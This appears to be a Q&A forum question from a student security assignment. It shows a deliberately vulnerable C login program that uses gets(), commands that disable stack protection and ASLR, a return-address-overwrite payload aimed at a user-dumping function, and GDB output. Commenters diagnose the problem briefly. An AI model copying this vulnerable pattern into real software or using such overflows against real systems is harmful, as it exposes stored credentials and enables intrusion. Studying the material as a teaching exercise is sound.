3

I am working on a security engineering assignment where I need to create a buffer overflow exploit to change the execution flow of a C program. The goal is to overwrite the return address and redirect execution to a specific function (dump_users). However, I keep encountering a segmentation fault, and I need help to resolve this.

Program Details

Here’s the relevant part of my C program:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define USERNAME_SIZE 32
#define PASSWORD_SIZE 16
#define FILENAME "users.txt"

typedef struct {
    char username[USERNAME_SIZE];
    char password[PASSWORD_SIZE];
} User;

void register_user() {
    FILE *file = fopen(FILENAME, "a");
    if (file == NULL) {
        perror("Error opening file");
        return;
    }

    User user;
    printf("Enter username: ");
    gets(user.username);  // Vulnerable function
    printf("Enter password: ");
    gets(user.password);  // Vulnerable function

    fwrite(&user, sizeof(User), 1, file);
    fclose(file);

    printf("User registered successfully.\n");
}

void login() {
    FILE *file = fopen(FILENAME, "r");
    if (file == NULL) {
        perror("Error opening file");
        return;
    }

    char username[USERNAME_SIZE];
    char password[PASSWORD_SIZE];
    User user;
    int authenticated = 0;

    printf("Enter username: ");
    gets(username);
    printf("Enter password: ");
    gets(password);

    while (fread(&user, sizeof(User), 1, file)) {
        if (strcmp(username, user.username) == 0 && strcmp(password, user.password) == 0) {
            authenticated = 1;
            break;
        }
    }

    fclose(file);

    if (authenticated) {
        printf("Login successful!\n");
    } else {
        printf("Login failed!\n");
    }
}

void dump_users() {
    FILE *file = fopen(FILENAME, "r");
    if (file == NULL) {
        perror("Error opening file");
        return;
    }

    User user;
    printf("Registered users:\n");
    while (fread(&user, sizeof(User), 1, file)) {
        printf("Username: %s, Password: %s\n", user.username, user.password);
    }

    fclose(file);
}

int main() {
    int choice;
    while (1) {
        printf("1. Register\n");
        printf("2. Login\n");
        printf("3. Dump users\n");
        printf("4. Exit\n");
        printf("Enter your choice: ");
        scanf("%d", &choice);
        switch (choice) {
            case 1:
                register_user();
                break;
            case 2:
                login();
                break;
            case 3:
                dump_users();
                break;
            case 4:
                return 0;
            default:
                printf("Invalid choice.\n");
        }
    }
    return 0;
}

I want to perform a buffer overflow attack by overwriting the return address to call the dump_users function when register_user returns.

Details from GDB Address of dump_users: 0x555555555718 Buffer overflow point: gets(user.username) Buffer size: 32 bytes Saved return address offset: 40 bytes from the start of the buffer (considering padding and saved rbp).

Compiled the program without stack protection and with ASLR disabled:


gcc -fno-stack-protector -o main main.c
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

Created the payload:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x18\x57\x55\x55\x55\x55\x00\x00
Input the payload manually during the register_user prompt:

Enter username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x18\x57\x55\x55\x55\x55\x00\x00

Problem Despite following these steps, I still encounter a segmentation fault after the payload is executed. Here’s the GDB output:


Program received signal SIGSEGV, Segmentation fault.
0x00005555555553ba in register_user () at main.c:39
39      } 

GDB Frame Information

(gdb) info frame
Stack level 0, frame at 0x7fffffffdad0:
 rip = 0x55555555534c in register_user (main.c:32); saved rip = 0x55555555570f
 called by frame at 0x7fffffffdb00
 source language c.
 Arglist at 0x7fffffffdac0, args:
 Locals at 0x7fffffffdac0, Previous frame's sp is 0x7fffffffdad0
 Saved registers:
  rbp at 0x7fffffffdac0, rip at 0x7fffffffdac8
(gdb) x/20x $rsp
0x7fffffffdaa0: 0x00000000      0x00000000      0xffffdaf0      0x00007fff
0x7fffffffdab0: 0x00000000      0x00000000      0xffffdaf0      0x00007fff
0x7fffffffdac0: 0xffffdaf0      0x00007fff      0x5555570f      0x00005555
0x7fffffffdad0: 0xffffdc08      0x00007fff      0x00000000      0x00000001
0x7fffffffdae0: 0x00000000      0x00000000      0x00000000      0x00000001

Question How can I correctly craft the payload to overwrite the return address and redirect execution to the dump_users function? What am I missing in my current approach?

3
  • 3
    The sequences like \x18 are meant to be entered as single bytes. Did you check that they are? You should be able to see the buffer overflow and its values in the debugger. Commented May 29, 2024 at 6:00
  • I fixed it in another way, I did I managed to make overflow to the password variable to change the function printf with dump_users. Commented May 30, 2024 at 8:14
  • So is this question still relevant? If not, please consider to delete it, to save other visitors time and effort to try to answer it. Alternatively, write an actual answer and mark it. Commented May 30, 2024 at 13:39

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.